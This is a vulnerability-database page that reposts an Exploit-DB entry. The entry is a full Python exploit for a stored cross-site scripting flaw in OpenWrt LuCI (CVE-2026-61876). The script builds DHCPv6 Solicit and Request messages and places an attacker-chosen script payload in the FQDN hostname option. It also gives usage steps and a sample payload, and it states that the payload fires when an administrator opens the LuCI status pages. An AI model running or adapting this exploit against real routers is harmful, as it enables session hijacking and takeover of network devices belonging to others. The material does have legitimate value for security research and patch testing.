Lucene search
+L

LuCI DHCPv6 - Lease Hostname Stored Cross-Site Scripting

🗓️ 11 Aug 2026 00:00:00Reported by banyamerType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 9 Views

Unauthenticated adjacent-network attacker injects malicious JavaScript via DHCPv6 FQDN, stored and rendered by LuCI innerHTML in status tables.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-61876
12 Jul 202612:26
circl
cve
CVE
CVE-2026-61876
12 Jul 202612:07
cve
cvelist
Cvelist
CVE-2026-61876 LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting
12 Jul 202612:07
cvelist
euvd
EUVD
EUVD-2026-43236
12 Jul 202612:07
euvd
nvd
NVD
CVE-2026-61876
12 Jul 202612:16
nvd
packetstorm
Packet Storm
📄 LuCI DHCPv6 Cross Site Scripting
11 Aug 202600:00
packetstorm
ptsecurity
Positive Technologies
PT-2026-57560
12 Jul 202600:00
ptsecurity
vulnrichment
Vulnrichment
CVE-2026-61876 LuCI DHCPv6 Lease Hostname Stored Cross-Site Scripting
12 Jul 202612:07
vulnrichment
# Exploit Title:       LuCI DHCPv6 -  Lease Hostname Stored Cross-Site Scripting
# CVE:                  CVE-2026-61876
# Date:                 2026-07-13
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://openwrt.org/
# Software Link:        https://github.com/openwrt/luci
# Affected:             OpenWrt LuCI (luci-mod-status, luci-mod-network) before patch
# Tested on:            OpenWrt 25.12.0-rc1 x86_64
# Category:             Remote
# Platform:             Linux
# Exploit Type:         Stored XSS
# CVSS:                 8.8
# Description:          An unauthenticated adjacent-network attacker can inject malicious HTML/JavaScript via DHCPv6 Client FQDN (option 39). The hostname is stored by odhcpd and rendered unsafely via innerHTML in LuCI status tables.
# Fixed in:             LuCI commit 55379d0 (and backports)
# Usage:
#   python3 exploit.py --ifindex <LAN_INTERFACE_INDEX> --hostname '<payload>'
#
# Examples:
#   python3 exploit.py --ifindex 2 --hostname '<details/open/ontoggle=alert("XDHCP6D")>'
#
# Options:
#   --ifindex         Interface index of the LAN interface
#   --hostname        Malicious hostname/FQDN payload
#   --server          DHCPv6 server (default: ff02::1:2)
#   --release         Release the lease after injection
#
# Notes:
#   • Requires adjacent network access (LAN)
#   • Administrator must view Status > Overview or Network > DHCP and DNS
#   • Payload example triggers alert(); other XSS payloads work too.
#
# How to Use
#
# Step 1:
#   Identify your LAN interface index: ip -o link show | awk '{print $1, $2}'
#
# Step 2:
#   Run the exploit and then open LuCI as admin to trigger the payload.

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╝
""")

import argparse
import os
import random
import socket
import struct
import time

OPT_CLIENTID = 1
OPT_SERVERID = 2
OPT_IA_NA = 3
OPT_ORO = 6
OPT_ELAPSED = 8
OPT_STATUS = 13
OPT_IAADDR = 5
OPT_FQDN = 39

def opt(code, data):
    return struct.pack("!HH", code, len(data)) + data

def options(buf):
    i = 0
    while i + 4 <= len(buf):
        code, length = struct.unpack("!HH", buf[i:i + 4])
        i += 4
        yield code, buf[i:i + length]
        i += length

def first_opt(buf, wanted):
    for code, data in options(buf):
        if code == wanted:
            return data
    return None

def encode_domain(name):
    labels = name.rstrip(".").split(".") if name else []
    out = bytearray()
    for label in labels:
        raw = label.encode("utf-8")
        if len(raw) > 63:
            raise ValueError("domain label too long for DHCPv6 FQDN option")
        out.append(len(raw))
        out += raw
    out.append(0)
    return bytes(out)

def make_duid(mac):
    dhcpv6_epoch = 946684800
    now = int(time.time() - dhcpv6_epoch)
    return struct.pack("!HHI", 1, 1, now) + mac

def make_msg(msg_type, txid, opts):
    return bytes([msg_type]) + txid + b"".join(opts)

def parse_msg(data):
    if len(data) < 4:
        return None
    return data[0], data[1:4], data[4:]

def open_sock(ifindex, port, bind_addr):
    s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
    s.settimeout(4)
    try:
        s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_MULTICAST_IF, ifindex)
    except OSError:
        pass
    try:
        s.bind((bind_addr, port, 0, ifindex if bind_addr.startswith("fe80:") else 0))
        return s, port
    except OSError:
        if port != 0:
            s.bind((bind_addr, 0, 0, ifindex if bind_addr.startswith("fe80:") else 0))
            return s, s.getsockname()[1]
        raise

def send_recv(sock, dst, msg, txid, expect_types):
    sock.sendto(msg, dst)
    deadline = time.time() + 5
    while time.time() < deadline:
        try:
            data, addr = sock.recvfrom(4096)
        except socket.timeout:
            break
        parsed = parse_msg(data)
        if not parsed:
            continue
        msg_type, rxid, opts = parsed
        if rxid == txid and msg_type in expect_types:
            return msg_type, opts, addr, data
    return None

def status_text(ia_na):
    if not ia_na:
        return ""
    for code, data in options(ia_na[12:]):
        if code == OPT_STATUS and len(data) >= 2:
            status = struct.unpack("!H", data[:2])[0]
            text = data[2:].decode("utf-8", "replace")
            return f"status={status} {text}".strip()
    return ""

def main():
    banner()
    ap = argparse.ArgumentParser(description="LuCI DHCPv6 FQDN XSS Exploit (CVE-2026-61876)")
    ap.add_argument("--ifindex", type=int, required=True)
    ap.add_argument("--hostname", required=True)
    ap.add_argument("--server", default="ff02::1:2")
    ap.add_argument("--bind-addr", default="::")
    ap.add_argument("--port", type=int, default=546)
    ap.add_argument("--release", action="store_true")
    ap.add_argument("--duid-hex")
    ap.add_argument("--iaid-hex")
    args = ap.parse_args()

    if args.duid_hex:
        duid = bytes.fromhex(args.duid_hex)
        mac = duid[-6:] if len(duid) >= 14 else b"\x00" * 6
    else:
        mac = bytes([0x02, 0x00, 0x5e, random.randrange(256), random.randrange(256), random.randrange(256)])
        duid = make_duid(mac)

    iaid = bytes.fromhex(args.iaid_hex) if args.iaid_hex else os.urandom(4)
    fqdn = bytes([0]) + encode_domain(args.hostname)
    oro = struct.pack("!HHH", 23, 24, OPT_FQDN)

    sock, sport = open_sock(args.ifindex, args.port, args.bind_addr)
    dst = (args.server, 547, 0, args.ifindex if args.server.startswith("ff") or args.server.startswith("fe80:") else 0)

    txid = os.urandom(3)
    solicit = make_msg(1, txid, [
        opt(OPT_CLIENTID, duid),
        opt(OPT_IA_NA, iaid + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"),
        opt(OPT_ORO, oro),
        opt(OPT_ELAPSED, b"\x00\x00"),
        opt(OPT_FQDN, fqdn),
    ])
    adv = send_recv(sock, dst, solicit, txid, {2})
    if not adv:
        print(f"NO_ADVERTISE source_port={sport}")
        return 2

    _, adv_opts, addr, _ = adv
    serverid = first_opt(adv_opts, OPT_SERVERID)
    ia_na = first_opt(adv_opts, OPT_IA_NA)
    print(f"ADVERTISE from={addr[0]} source_port={sport}")

    if not serverid or not ia_na:
        return 3

    txid = os.urandom(3)
    request = make_msg(3, txid, [
        opt(OPT_CLIENTID, duid),
        opt(OPT_SERVERID, serverid),
        opt(OPT_IA_NA, ia_na),
        opt(OPT_ORO, oro),
        opt(OPT_ELAPSED, b"\x00\x00"),
        opt(OPT_FQDN, fqdn),
    ])
    rep = send_recv(sock, dst, request, txid, {7})
    if not rep:
        print("NO_REPLY")
        return 4

    _, reply_opts, addr, _ = rep
    print(f"REPLY from={addr[0]}")

    if args.release:
        txid = os.urandom(3)
        release = make_msg(8, txid, [
            opt(OPT_CLIENTID, duid),
            opt(OPT_SERVERID, serverid),
            opt(OPT_IA_NA, ia_na),
        ])
        rel = send_recv(sock, dst, release, txid, {7})
        print("RELEASE_REPLY" if rel else "NO_RELEASE_REPLY")

    print(f"DUID={duid.hex()} IAID={iaid.hex()}")
    return 0

if __name__ == "__main__":
    raise SystemExit(main())

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.18.8
CVSS 49.4
EPSS0.00851
SSVC
9